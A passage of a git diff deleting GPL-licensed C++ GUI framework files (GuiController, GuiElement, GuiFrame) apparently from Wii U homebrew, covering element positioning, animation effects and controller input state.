- GuiSound * soundClick; //!< Sound to play for STATE_CLICKED - GuiTrigger * trigger[iMaxGuiTriggers]; //!< GuiTriggers (input actions) that this element responds to - GuiTrigger * clickedTrigger; - GuiTrigger * heldTrigger; -}; - -#endif diff --git a/src/gui/GuiController.h b/src/gui/GuiController.h deleted file mode 100644 index c9cc443..0000000 --- a/src/gui/GuiController.h +++ /dev/null @@ -1,78 +0,0 @@ -/**************************************************************************** - * Copyright (C) 2015 Dimok - * - * This program is free software: you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation, either version 3 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program. If not, see . - ****************************************************************************/ -#ifndef GUI_CONTROLLER_H_ -#define GUI_CONTROLLER_H_ - -#include -#include "GuiTrigger.h" - -class GuiController -{ -public: - //!Constructor - GuiController(int channel) - : chan(channel) - { - memset(&lastData, 0, sizeof(lastData)); - memset(&data, 0, sizeof(data)); - - switch(chan) - { - default: - case GuiTrigger::CHANNEL_1: - chanIdx = 0; - break; - case GuiTrigger::CHANNEL_2: - chanIdx = 1; - break; - case GuiTrigger::CHANNEL_3: - chanIdx = 2; - break; - case GuiTrigger::CHANNEL_4: - chanIdx = 3; - break; - case GuiTrigger::CHANNEL_5: - chanIdx = 4; - break; - } - } - - //!Destructor - virtual ~GuiController() {} - - virtual bool update(int width, int height) = 0; - - typedef struct - { - unsigned int buttons_h; - unsigned int buttons_d; - unsigned int buttons_r; - bool validPointer; - bool touched; - float pointerAngle; - int x; - int y; - } PadData; - - int chan; - int chanIdx; - PadData data; - PadData lastData; - -}; - -#endif diff --git a/src/gui/GuiElement.cpp b/src/gui/GuiElement.cpp deleted file mode 100644 index e1061d9..0000000 --- a/src/gui/GuiElement.cpp +++ /dev/null @@ -1,342 +0,0 @@ -/**************************************************************************** - * Copyright (C) 2015 Dimok - * - * This program is free software: you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation, either version 3 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program. If not, see . - ****************************************************************************/ -#include "GuiElement.h" - -//! TODO remove this! -static int screenwidth = 1280; -static int screenheight = 720; - -/** - * Constructor for the Object class. - */ -GuiElement::GuiElement() -{ - xoffset = 0.0f; - yoffset = 0.0f; - zoffset = 0.0f; - width = 0.0f; - height = 0.0f; - alpha = 1.0f; - scaleX = 1.0f; - scaleY = 1.0f; - scaleZ = 1.0f; - for(int i = 0; i < 4; i++) - state[i] = STATE_DEFAULT; - stateChan = -1; - parentElement = NULL; - rumble = true; - selectable = false; - clickable = false; - holdable = false; - visible = true; - yoffsetDyn = 0; - xoffsetDyn = 0; - alphaDyn = -1; - scaleDyn = 1; - effects = EFFECT_NONE; - effectAmount = 0; - effectTarget = 0; - effectsOver = EFFECT_NONE; - effectAmountOver = 0; - effectTargetOver = 0; - angle = 0.0f; - - // default alignment - align to top left - alignment = (ALIGN_CENTER | ALIGN_MIDDLE); -} - -/** - * Get the left position of the GuiElement. - * @see SetLeft() - * @return Left position in pixel. - */ -f32 GuiElement::getLeft() -{ - f32 pWidth = 0; - f32 pLeft = 0; - f32 pScaleX = 1.0f; - - if(parentElement) - { - pWidth = parentElement->getWidth(); - pLeft = parentElement->getLeft(); - pScaleX = parentElement->getScaleX(); - } - - pLeft += xoffsetDyn; - - f32 x = pLeft; - - //! TODO: the conversion from int to float and back to int is bad for performance, change that - if(alignment & ALIGN_CENTER) - { - x = pLeft + pWidth * 0.5f * pScaleX - width * 0.5f * getScaleX(); - } - else if(alignment & ALIGN_RIGHT) - { - x = pLeft + pWidth * pScaleX - width * getScaleX(); - } - - return x + xoffset; -} - -/** - * Get the top position of the GuiElement. - * @see SetTop() - * @return Top position in pixel. - */ -f32 GuiElement::getTop() -{ - f32 pHeight = 0; - f32 pTop = 0; - f32 pScaleY = 1.0f; - - if(parentElement) - { - pHeight = parentElement->getHeight(); - pTop = parentElement->getTop(); - pScaleY = parentElement->getScaleY(); - } - - pTop += yoffsetDyn; - - f32 y = pTop; - - //! TODO: the conversion from int to float and back to int is bad for performance, change that - if(alignment & ALIGN_MIDDLE) - { - y = pTop + pHeight * 0.5f * pScaleY - height * 0.5f * getScaleY(); - } - else if(alignment & ALIGN_BOTTOM) - { - y = pTop + pHeight * pScaleY - height * getScaleY(); - } - - return y + yoffset; -} - -void GuiElement::setEffect(int eff, int amount, int target) -{ - if(eff & EFFECT_SLIDE_IN) - { - // these calculations overcompensate a little - if(eff & EFFECT_SLIDE_TOP) - { - if(eff & EFFECT_SLIDE_FROM) - yoffsetDyn = (int) -getHeight()*scaleY; - else - yoffsetDyn = -screenheight; - } - else if(eff & EFFECT_SLIDE_LEFT) - { - if(eff & EFFECT_SLIDE_FROM) - xoffsetDyn = (int) -getWidth()*scaleX; - else - xoffsetDyn = -screenwidth; - } - else if(eff & EFFECT_SLIDE_BOTTOM) - { - if(eff & EFFECT_SLIDE_FROM) - yoffsetDyn = (int) getHeight()*scaleY; - else - yoffsetDyn = screenheight; - } - else if(eff & EFFECT_SLIDE_RIGHT) - { - if(eff & EFFECT_SLIDE_FROM) - xoffsetDyn = (int) getWidth()*scaleX; - else - xoffsetDyn = screenwidth; - } - } - if((eff & EFFECT_FADE) && amount > 0) - { - alphaDyn = 0; - } - else if((eff & EFFECT_FADE) && amount < 0) - { - alphaDyn = alpha; - } - effects |= eff; - effectAmount = amount; - effectTarget = target; -} - -//!Sets an effect to be enabled on wiimote cursor over -//!\param e Effect to enable -//!\param a Amount of the effect (usage varies on effect) -//!\param t Target amount of the effect (usage varies on effect) -void GuiElement::setEffectOnOver(int e, int a, int t) -{ - effectsOver |= e; - effectAmountOver = a; - effectTargetOver = t; -} - -void GuiElement::resetEffects() -{ - yoffsetDyn = 0; - xoffsetDyn = 0; - alphaDyn = -1; - scaleDyn = 1; - effects = EFFECT_NONE; - effectAmount = 0; - effectTarget = 0; - effectsOver = EFFECT_NONE; - effectAmountOver = 0; - effectTargetOver = 0; -} -void GuiElement::updateEffects() -{ - if(!this->isVisible() && parentElement) - return; - - if(effects & (EFFECT_SLIDE_IN | EFFECT_SLIDE_OUT | EFFECT_SLIDE_FROM)) - { - if(effects & EFFECT_SLIDE_IN) - { - if(effects & EFFECT_SLIDE_LEFT) - { - xoffsetDyn += effectAmount; - - if(xoffsetDyn >= 0) - { - xoffsetDyn = 0; - effects = 0; - effectFinished(this); - } - } - else if(effects & EFFECT_SLIDE_RIGHT) - { - xoffsetDyn -= effectAmount; - - if(xoffsetDyn <= 0) - { - xoffsetDyn = 0; - effects = 0; - effectFinished(this); - } - } - else if(effects & EFFECT_SLIDE_TOP) - { - yoffsetDyn += effectAmount; - - if(yoffsetDyn >= 0) - { - yoffsetDyn = 0; - effects = 0; - effectFinished(this); - } - } - else if(effects & EFFECT_SLIDE_BOTTOM) - { - yoffsetDyn -= effectAmount; - - if(yoffsetDyn <= 0) - { - yoffsetDyn = 0; - effects = 0; - effectFinished(this); - } - } - } - else - { - if(effects & EFFECT_SLIDE_LEFT) - { - xoffsetDyn -= effectAmount; - - if(xoffsetDyn <= -screenwidth) { - effects = 0; // shut off effect - effectFinished(this); - } - else if((effects & EFFECT_SLIDE_FROM) && xoffsetDyn <= -getWidth()) { - effects = 0; // shut off effect - effectFinished(this); - } - } - else if(effects & EFFECT_SLIDE_RIGHT) - { - xoffsetDyn += effectAmount; - - if(xoffsetDyn >= screenwidth) { - effects = 0; // shut off effect - effectFinished(this); - } - else if((effects & EFFECT_SLIDE_FROM) && xoffsetDyn >= getWidth()*scaleX) { - effects = 0; // shut off effect - effectFinished(this); - } - } - else if(effects & EFFECT_SLIDE_TOP) - { - yoffsetDyn -= effectAmount; - - if(yoffsetDyn <= -screenheight) { - effects = 0; // shut off effect - effectFinished(this); - } - else if((effects & EFFECT_SLIDE_FROM) && yoffsetDyn <= -getHeight()) { - effects = 0; // shut off effect - effectFinished(this); - } - } - else if(effects & EFFECT_SLIDE_BOTTOM) - { - yoffsetDyn += effectAmount; - - if(yoffsetDyn >= screenheight) { - effects = 0; // shut off effect - effectFinished(this); - } - else if((effects & EFFECT_SLIDE_FROM) && yoffsetDyn >= getHeight()) { - effects = 0; // shut off effect - effectFinished(this); - } - } - } - } - else if(effects & EFFECT_FADE) - { - alphaDyn += effectAmount * (1.0f / 255.0f); - - if(effectAmount < 0 && alphaDyn <= 0) - { - alphaDyn = 0; - effects = 0; // shut off effect - effectFinished(this); - } - else if(effectAmount > 0 && alphaDyn >= alpha) - { - alphaDyn = alpha; - effects = 0; // shut off effect - effectFinished(this); - } - } - else if(effects & EFFECT_SCALE) - { - scaleDyn += effectAmount * 0.01f; - - if((effectAmount < 0 && scaleDyn <= (effectTarget * 0.01f)) - || (effectAmount > 0 && scaleDyn >= (effectTarget * 0.01f))) - { - scaleDyn = effectTarget * 0.01f; - effects = 0; // shut off effect - effectFinished(this); - } - } -} diff --git a/src/gui/GuiElement.h b/src/gui/GuiElement.h deleted file mode 100644 index dda898d..0000000 --- a/src/gui/GuiElement.h +++ /dev/null @@ -1,517 +0,0 @@ -/**************************************************************************** - * Copyright (C) 2015 Dimok - * - * This program is free software: you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation, either version 3 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program. If not, see . - ****************************************************************************/ -#ifndef GUI_ELEMENT_H_ -#define GUI_ELEMENT_H_ - -#include -#include -#include -#include -#include -#include -#include -#include -#include - -#include "common/types.h" -#include "sigslot.h" -#include "glm/glm.hpp" -#include "glm/gtc/matrix_transform.hpp" - -#include "resources/Resources.h" -#include "system/AsyncDeleter.h" -#include "utils/logger.h" - -enum -{ - EFFECT_NONE = 0x00, - EFFECT_SLIDE_TOP = 0x01, - EFFECT_SLIDE_BOTTOM = 0x02, - EFFECT_SLIDE_RIGHT = 0x04, - EFFECT_SLIDE_LEFT = 0x08, - EFFECT_SLIDE_IN = 0x10, - EFFECT_SLIDE_OUT = 0x20, - EFFECT_SLIDE_FROM = 0x40, - EFFECT_FADE = 0x80, - EFFECT_SCALE = 0x100, - EFFECT_COLOR_TRANSITION = 0x200 -}; - -enum -{ - ALIGN_LEFT = 0x01, - ALIGN_CENTER = 0x02, - ALIGN_RIGHT = 0x04, - ALIGN_TOP = 0x10, - ALIGN_MIDDLE = 0x20, - ALIGN_BOTTOM = 0x40, - ALIGN_TOP_LEFT = ALIGN_LEFT | ALIGN_TOP, - ALIGN_TOP_CENTER = ALIGN_CENTER | ALIGN_TOP, - ALIGN_TOP_RIGHT = ALIGN_RIGHT | ALIGN_TOP, - ALIGN_CENTERED = ALIGN_CENTER | ALIGN_MIDDLE, -}; - -//!Forward declaration -class GuiController; -class CVideo; - -//!Primary GUI class. Most other classes inherit from this class. -class GuiElement : public AsyncDeleter::Element -{ - public: - //!Constructor - GuiElement(); - //!Destructor - virtual ~GuiElement() {} - //!Set the element's parent - //!\param e Pointer to parent element - virtual void setParent(GuiElement * e) { parentElement = e; } - //!Gets the element's parent - //!\return Pointer to parent element - virtual GuiElement * getParent() { return parentElement; } - //!Gets the current leftmost coordinate of the element - //!Considers horizontal alignment, x offset, width, and parent element's GetLeft() / GetWidth() values - //!\return left coordinate - virtual f32 getLeft(); - //!Gets the current topmost coordinate of the element - //!Considers vertical alignment, y offset, height, and parent element's GetTop() / GetHeight() values - //!\return top coordinate - virtual f32 getTop(); - //!Gets the current Z coordinate of the element - //!\return Z coordinate - virtual f32 getDepth() - { - f32 zParent = 0.0f; - - if(parentElement) - zParent = parentElement->getDepth(); - - return zParent+zoffset; - } - - virtual f32 getCenterX(void) - { - f32 pCenterX = 0.0f; - - if(parentElement) - pCenterX = parentElement->getCenterX(); - - pCenterX += xoffset + xoffsetDyn; - - if(alignment & ALIGN_LEFT) - { - f32 pWidth = 0.0f; - f32 pScale = 0.0f; - - if(parentElement) - { - pWidth = parentElement->getWidth(); - pScale = parentElement->getScaleX(); - } - - pCenterX -= pWidth * 0.5f * pScale - width * 0.5f * getScaleX(); - } - else if(alignment & ALIGN_RIGHT) - { - f32 pWidth = 0.0f; - f32 pScale = 0.0f; - - if(parentElement) - { - pWidth = parentElement->getWidth(); - pScale = parentElement->getScaleX(); - } - - pCenterX += pWidth * 0.5f * pScale - width * 0.5f * getScaleX(); - } - return pCenterX; - } - - virtual f32 getCenterY(void) - { - f32 pCenterY = 0.0f; - - if(parentElement) - pCenterY = parentElement->getCenterY(); - - pCenterY += yoffset + yoffsetDyn; - - if(alignment & ALIGN_TOP) - { - f32 pHeight = 0.0f; - f32 pScale = 0.0f; - - if(parentElement) - { - pHeight = parentElement->getHeight(); - pScale = parentElement->getScaleY(); - } - - pCenterY += pHeight * 0.5f * pScale - height * 0.5f * getScaleY(); - } - else if(alignment & ALIGN_BOTTOM) - { - f32 pHeight = 0.0f; - f32 pScale = 0.0f; - - if(parentElement) - { - pHeight = parentElement->getHeight(); - pScale = parentElement->getScaleY(); - } - - pCenterY -= pHeight * 0.5f * pScale - height * 0.5f * getScaleY(); - } - return pCenterY; - } - //!Gets elements xoffset - virtual f32 getOffsetX() { return xoffset; } - //!Gets elements yoffset - virtual f32 getOffsetY() { return yoffset; } - //!Gets the current width of the element. Does not currently consider the scale - //!\return width - virtual f32 getWidth() { return width; }; - //!Gets the height of the element. Does not currently consider the scale - //!\return height - virtual f32 getHeight() { return height; } - //!Sets the size (width/height) of the element - //!\param w Width of element - //!\param h Height of element - virtual void setSize(f32 w, f32 h) - { - width = w; - height = h; - } - //!Sets the element's visibility - //!\param v Visibility (true = visible) - virtual void setVisible(bool v) - { - visible = v; - visibleChanged(this, v); - } - //!Checks whether or not the element is visible - //!\return true if visible, false otherwise - virtual bool isVisible() const { return !isStateSet(STATE_HIDDEN) && visible; }; - //!Checks whether or not the element is selectable - //!\return true if selectable, false otherwise - virtual bool isSelectable() - { - return !isStateSet(STATE_DISABLED) && selectable; - } - //!Checks whether or not the element is clickable - //!\return true if clickable, false otherwise - virtual bool isClickable() - { - return !isStateSet(STATE_DISABLED) && clickable; - } - //!Checks whether or not the element is holdable - //!\return true if holdable, false otherwise - virtual bool isHoldable() { return !isStateSet(STATE_DISABLED) && holdable; } - //!Sets whether or not the element is selectable - //!\param s Selectable - virtual void setSelectable(bool s) { selectable = s; } - //!Sets whether or not the element is clickable - //!\param c Clickable - virtual void setClickable(bool c) { clickable = c; } - //!Sets whether or not the element is holdable - //!\param c Holdable - virtual void setHoldable(bool d) { holdable = d; } - //!Sets the element's state - //!\param s State (STATE_DEFAULT, STATE_SELECTED, STATE_CLICKED, STATE_DISABLED) - //!\param c Controller channel (0-3, -1 = none) - virtual void setState(int s, int c = -1) - { - if(c >= 0 && c < 4) - { - state[c] |= s; - } - else - { - for(int i = 0; i < 4; i++) - state[i] |= s; - } - stateChan = c; - stateChanged(this, s, c); - } - virtual void clearState(int s, int c = -1) - { - if(c >= 0 && c < 4) - { - state[c] &= ~s; - } - else - { - for(int i = 0; i < 4; i++) - state[i] &= ~s; - } - stateChan = c; - stateChanged(this, s, c); - } - virtual bool isStateSet(int s, int c = -1) const - { - if(c >= 0 && c < 4) - { - return (state[c] & s) != 0; - } - else - { - for(int i = 0; i < 4; i++) - if((state[i] & s) != 0) - return true; - - return false; - } - } - //!Gets the element's current state - //!\return state - virtual int getState(int c = 0) { return state[c]; }; - //!Gets the controller channel that last changed the element's state - //!\return Channel number (0-3, -1 = no channel) - virtual int getStateChan() { return stateChan; }; - //!Resets the element's state to STATE_DEFAULT - virtual void resetState() - { - for(int i = 0; i < 4; i++) - state[i] = STATE_DEFAULT; - stateChan = -1; - } - //!Sets the element's alpha value - //!\param a alpha value - virtual void setAlpha(f32 a) { alpha = a; } - //!Gets the element's alpha value - //!Considers alpha, alphaDyn, and the parent element's getAlpha() value - //!\return alpha - virtual f32 getAlpha() - { - f32 a; - - if(alphaDyn >= 0) - a = alphaDyn; - else - a = alpha; - - if(parentElement) - a = (a * parentElement->getAlpha()); - - return a; - } - //!Sets the element's scale - //!\param s scale (1 is 100%) - virtual void setScale(float s) - { - scaleX = s; - scaleY = s; - scaleZ = s; - } - //!Sets the element's scale - //!\param s scale (1 is 100%) - virtual void setScaleX(float s) { scaleX = s; } - //!Sets the element's scale - //!\param s scale (1 is 100%) - virtual void setScaleY(float s) { scaleY = s; } - //!Sets the element's scale - //!\param s scale (1 is 100%) - virtual void setScaleZ(float s) { scaleZ = s; } - //!Gets the element's current scale - //!Considers scale, scaleDyn, and the parent element's getScale() value - virtual float getScale() - { - float s = 0.5f * (scaleX+scaleY) * scaleDyn; - - if(parentElement) - s *= parentElement->getScale(); - - return s; - } - //!Gets the element's current scale - //!Considers scale, scaleDyn, and the parent element's getScale() value - virtual float getScaleX() - { - float s = scaleX * scaleDyn; - - if(parentElement) - s *= parentElement->getScaleX(); - - return s; - } - //!Gets the element's current scale - //!Considers scale, scaleDyn, and the parent element's getScale() value - virtual float getScaleY() - { - float s = scaleY * scaleDyn; - - if(parentElement) - s *= parentElement->getScaleY(); - - return s; - } - //!Gets the element's current scale - //!Considers scale, scaleDyn, and the parent element's getScale() value - virtual float getScaleZ() - { - float s = scaleZ; - - if(parentElement) - s *= parentElement->getScaleZ(); - - return s; - } - //!Checks whether rumble was requested by the element - //!\return true is rumble was requested, false otherwise - virtual bool isRumbleActive() { return rumble; } - //!Sets whether or not the element is requesting a rumble event - //!\param r true if requesting rumble, false if not - virtual void setRumble(bool r) { rumble = r; } - //!Set an effect for the element - //!\param e Effect to enable - //!\param a Amount of the effect (usage varies on effect) - //!\param t Target amount of the effect (usage varies on effect) - virtual void setEffect(int e, int a, int t=0); - //!Sets an effect to be enabled on wiimote cursor over - //!\param e Effect to enable - //!\param a Amount of the effect (usage varies on effect) - //!\param t Target amount of the effect (usage varies on effect) - virtual void setEffectOnOver(int e, int a, int t=0); - //!Shortcut to SetEffectOnOver(EFFECT_SCALE, 4, 110) - virtual void setEffectGrow() { setEffectOnOver(EFFECT_SCALE, 4, 110); } - //!Reset all applied effects - virtual void resetEffects(); - //!Gets the current element effects - //!\return element effects - virtual int getEffect() const { return effects; } - //!\return true if element animation is on going - virtual bool isAnimated() const { return (parentElement != 0) && (getEffect() > 0); } - //!Checks whether the specified coordinates are within the element's boundaries - //!\param x X coordinate - //!\param y Y coordinate - //!\return true if contained within, false otherwise - virtual bool isInside(f32 x, f32 y) - { - return ( x > (this->getCenterX() - getScaleX() * getWidth() * 0.5f) - && x < (this->getCenterX() + getScaleX() * getWidth() * 0.5f) - && y > (this->getCenterY() - getScaleY() * getHeight() * 0.5f) - && y < (this->getCenterY() + getScaleY() * getHeight() * 0.5f)); - } - //!Sets the element's position - //!\param x X coordinate - //!\param y Y coordinate - virtual void setPosition(f32 x, f32 y) - { - xoffset = x; - yoffset = y; - } - //!Sets the element's position - //!\param x X coordinate - //!\param y Y coordinate - //!\param z Z coordinate - virtual void setPosition(f32 x, f32 y, f32 z) - { - xoffset = x; - yoffset = y; - zoffset = z; - } - //!Gets whether or not the element is in STATE_SELECTED - //!\return true if selected, false otherwise - virtual int getSelected() { return -1; } - //!Sets the element's alignment respective to its parent element - //!Bitwise ALIGN_LEFT | ALIGN_RIGHT | ALIGN_CENTRE, ALIGN_TOP, ALIGN_BOTTOM, ALIGN_MIDDLE) - //!\param align Alignment - virtual void setAlignment(int a) { alignment = a; } - //!Gets the element's alignment - virtual int getAlignment() const { return alignment; } - //!Angle of the object - virtual void setAngle(f32 a) { angle = a; } - //!Angle of the object - virtual f32 getAngle() const { f32 r_angle = angle; if(parentElement) r_angle += parentElement->getAngle(); return r_angle; } - //!Called constantly to allow the element to respond to the current input data - //!\param t Pointer to a GuiController, containing the current input data from PAD/WPAD/VPAD - virtual void update(GuiController * t) { } - //!Called constantly to redraw the element - virtual void draw(CVideo * v) { } - //!Updates the element's effects (dynamic values) - //!Called by Draw(), used for animation purposes - virtual void updateEffects(); - - typedef struct _POINT { - s32 x; - s32 y; - } POINT; - - enum - { - STATE_DEFAULT = 0, - STATE_SELECTED = 0x01, - STATE_CLICKED = 0x02, - STATE_HELD = 0x04, - STATE_OVER = 0x08, - STATE_HIDDEN = 0x10, - STATE_DISABLED = 0x80 - }; - - //! Switch pointer from control to screen position - POINT PtrToScreen(POINT p) - { - //! TODO for 3D - //POINT r = { p.x + getLeft(), p.y + getTop() }; - return p; - } - //! Switch pointer screen to control position - POINT PtrToControl(POINT p) - { - //! TODO for 3D - //POINT r = { p.x - getLeft(), p.y - getTop() }; - return p; - } - //! Signals - sigslot::signal2 visibleChanged; - sigslot::signal3 stateChanged; - sigslot::signal1 effectFinished; - protected: - bool rumble; //!< Wiimote rumble (on/off) - set to on when this element requests a rumble event - bool visible; //!< Visibility of the element. If false, Draw() is skipped - bool selectable; //!< Whether or not this element selectable (can change to SELECTED state) - bool clickable; //!< Whether or not this element is clickable (can change to CLICKED state) - bool holdable; //!< Whether or not this element is holdable (can change to HELD state) - f32 width; //!< Element width - f32 height; //!< Element height - f32 xoffset; //!< Element X offset - f32 yoffset; //!< Element Y offset - f32 zoffset; //!< Element Z offset - f32 alpha; //!< Element alpha value (0-255) - f32 angle; //!< Angle of the object (0-360) - f32 scaleX; //!< Element scale (1 = 100%) - f32 scaleY; //!< Element scale (1 = 100%) - f32 scaleZ; //!< Element scale (1 = 100%) - int alignment; //!< Horizontal element alignment, respective to parent element - int state[4]; //!< Element state (DEFAULT, SELECTED, CLICKED, DISABLED) - int stateChan; //!< Which controller channel is responsible for the last change in state - GuiElement * parentElement; //!< Parent element - - //! TODO: Move me to some Animator class - int xoffsetDyn; //!< Element X offset, dynamic (added to xoffset value for animation effects) - int yoffsetDyn; //!< Element Y offset, dynamic (added to yoffset value for animation effects) - f32 alphaDyn; //!< Element alpha, dynamic (multiplied by alpha value for blending/fading effects) - f32 scaleDyn; //!< Element scale, dynamic (multiplied by alpha value for blending/fading effects) - int effects; //!< Currently enabled effect(s). 0 when no effects are enabled - int effectAmount; //!< Effect amount. Used by different effects for different purposes - int effectTarget; //!< Effect target amount. Used by different effects for different purposes - int effectsOver; //!< Effects to enable when wiimote cursor is over this element. Copied to effects variable on over event - int effectAmountOver; //!< EffectAmount to set when wiimote cursor is over this element - int effectTargetOver; //!< EffectTarget to set when wiimote cursor is over this element -}; - -#endif diff --git a/src/gui/GuiFrame.cpp b/src/gui/GuiFrame.cpp deleted file mode 100644 index 77552c8..0000000 --- a/src/gui/GuiFrame.cpp +++ /dev/null @@ -1,267 +0,0 @@ -/**************************************************************************** - * Copyright (C) 2015 Dimok - * - * This program is free software: you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation, either version 3 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program. If not, see . - ****************************************************************************/ -#include "GuiFrame.h" - -GuiFrame::GuiFrame(GuiFrame *p) -{ - parent = p; - width = 0; - height = 0; - dim = false; - - if(parent) - parent->append(this); -} - -GuiFrame::GuiFrame(f32 w, f32 h, GuiFrame *p) -{ - parent = p; - width = w; - height = h; - dim = false; - - if(parent) - parent->append(this); -} - -GuiFrame::~GuiFrame() -{ - closing(this); - - if(parent) - parent->remove(this); -} - -void GuiFrame::append(GuiElement* e) -{ - if (e == NULL) - return; - - e->setParent(this); - - ListChangeElement elem; - elem.addElement = true; - elem.position = -1; - elem.element = e; - - queueMutex.lock(); - listChangeQueue.push(elem); - queueMutex.unlock(); -} - -void GuiFrame::insert(GuiElement* e, u32 index) -{ - if (e == NULL || (index >= elements.size())) - return; - - e->setParent(this); - - ListChangeElement elem; - elem.addElement = true; - elem.position = index; - elem.element = e; - - queueMutex.lock(); - listChangeQueue.push(elem); - queueMutex.unlock(); -} - -void GuiFrame::remove(GuiElement* e) -{ - if (e == NULL) - return; - - ListChangeElement elem; - elem.addElement = false; - elem.position = -1; - elem.element = e; - - queueMutex.lock(); - listChangeQueue.push(elem); - queueMutex.unlock(); -} - -void GuiFrame::removeAll() -{ - elements.clear(); -} - -void GuiFrame::close() -{ - //Application::instance()->pushForDelete(this); -} - -void GuiFrame::dimBackground(bool d) -{ - dim = d; -} - -GuiElement* GuiFrame::getGuiElementAt(u32 index) const -{ - if (index >= elements.size()) - return NULL; - return elements[index]; -} - -u32 GuiFrame::getSize() -{ - return elements.size(); -} - -void GuiFrame::resetState() -{ - GuiElement::resetState(); - - for (u32 i = 0; i < elements.size(); ++i) - { - elements[i]->resetState(); - } -} - -void GuiFrame::setState(int s, int c) -{ - GuiElement::setState(s, c); - - for (u32 i = 0; i < elements.size(); ++i) - { - elements[i]->setState(s, c); - } -} - -void GuiFrame::clearState(int s, int c) -{ - GuiElement::clearState(s, c); - - for (u32 i = 0; i < elements.size(); ++i) - { - elements[i]->clearState(s, c); - } -} - -void GuiFrame::setVisible(bool v) -{ - visible = v; - - for (u32 i = 0; i < elements.size(); ++i) - { - elements[i]->setVisible(v); - } -} - -int GuiFrame::getSelected() -{ - // find selected element - int found = -1; - for (u32 i = 0; i < elements.size(); ++i) - { - if(elements[i]->isStateSet(STATE_SELECTED | STATE_OVER)) - { - found = i; - break; - } - } - return found; -} - -void GuiFrame::draw(CVideo * v) -{ - if(!this->isVisible() && parentElement) - return; - - if(parentElement && dim == true) - { - //GXColor dimColor = (GXColor){0, 0, 0, 0x70}; - //Menu_DrawRectangle(0, 0, GetZPosition(), screenwidth,screenheight, &dimColor, false, true); - } - - //! render appended items next frame but allow stop of render if size is reached - u32 size = elements.size(); - - for (u32 i = 0; i < size && i < elements.size(); ++i) - { - elements[i]->draw(v); - } -} - -void GuiFrame::updateEffects() -{ - if(this->isVisible() || parentElement) - { - GuiElement::updateEffects(); - - //! render appended items next frame but allow stop of render if size is reached - u32 size = elements.size(); - - for (u32 i = 0; i < size && i < elements.size(); ++i) - { - elements[i]->updateEffects(); - } - } - - //! at the end of main loop which this function represents append pending elements - updateElementList(); -} - -void GuiFrame::update(GuiController * c) -{ - if(isStateSet(STATE_DISABLED) && parentElement) - return; - - //! update appended items next frame - u32 size = elements.size(); - - for (u32 i = 0; i < size && i < elements.size(); ++i) - { - elements[i]->update(c); - } -} - -void GuiFrame::updateElementList(void) -{ - if(listChangeQueue.empty() == false) - { - queueMutex.lock(); - while(!listChangeQueue.empty()) - { - ListChangeElement & listChange = listChangeQueue.front(); - - for (u32 i = 0; i < elements.size(); ++i) - { - if(listChange.element == elements[i]) - { - elements.erase(elements.begin()+i); - break; - } - } - - if(listChange.addElement) - { - if(listChange.position >= 0) - { - elements.insert(elements.begin()+listChange.position, listChange.element); - } - else - { - elements.push_back(listChange.element); - } - } - listChangeQueue.pop(); - } - queueMutex.unlock(); - } - -} diff --git a/src/gui/GuiFrame.h b/src/gui/GuiFrame.h deleted file mode 100644 index 2a1eeee..0000000 --- a/src/gui/GuiFrame.h +++ /dev/null @@ -1,107 +0,0 @@ -/**************************************************************************** - * Copyright (C) 2015 Dimok - * - * This program is free software: you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation, either version 3 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program. If not, see . - ****************************************************************************/ -#ifndef GUI_FRAME_H_ -#define GUI_FRAME_H_ - -#include -#include "GuiElement.h" -#include "sigslot.h" - -//!Allows GuiElements to be grouped together into a "window" -class GuiFrame : public GuiElement -{ - public: - //!Constructor - GuiFrame(GuiFrame *parent = 0); - //!\overload - //!\param w Width of window - //!\param h Height of window - GuiFrame(f32 w, f32 h, GuiFrame *parent = 0); - //!Destructor - virtual ~GuiFrame(); - //!Appends a GuiElement to the GuiFrame - //!\param e The GuiElement to append. If it is already in the GuiFrame, it is removed first - void append(GuiElement* e); - //!Inserts a GuiElement into the GuiFrame at the specified index - //!\param e The GuiElement to insert. If it is already in the GuiFrame, it is removed first - //!\param i Index in which to insert the element - void insert(GuiElement* e, u32 i); - //!Removes the specified GuiElement from the GuiFrame - //!\param e GuiElement to be removed - void remove(GuiElement* e); - //!Removes all GuiElements - void removeAll(); - //!Bring element to front of the window - void bringToFront(GuiElement *e) { remove(e); append(e); } - //!Returns the GuiElement at the specified index - //!\param index The index of the element - //!\return A pointer to the element at the index, NULL on error (eg: out of bounds) - GuiElement* getGuiElementAt(u32 index) const; - //!Returns the size of the list of elements - //!\return The size of the current element list - u32 getSize(); - //!Sets the visibility of the window - //!\param v visibility (true = visible) - void setVisible(bool v); - //!Resets the window's state to STATE_DEFAULT - void resetState(); - //!Sets the window's state - //!\param s State - void setState(int s, int c = -1); - void clearState(int s, int c = -1); - //!Gets the index of the GuiElement inside the window that is currently selected - //!\return index of selected GuiElement - int getSelected(); - //!Dim the Window's background - void dimBackground(bool d); - 